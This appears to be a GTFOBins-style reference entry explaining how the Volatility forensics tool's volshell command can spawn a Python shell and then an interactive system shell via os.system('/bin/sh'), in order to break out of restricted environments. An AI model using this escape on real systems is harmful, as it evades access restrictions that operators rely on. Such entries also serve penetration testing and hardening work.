This command requires some valid coredump file which, if not available, can be uploaded to the target. The volshell command spawns a python shell, other functions may apply.
It can be used to break out from restricted environments by spawning an interactive system shell.
volatility -f file.dump volshell
__import__('os').system('/bin/sh')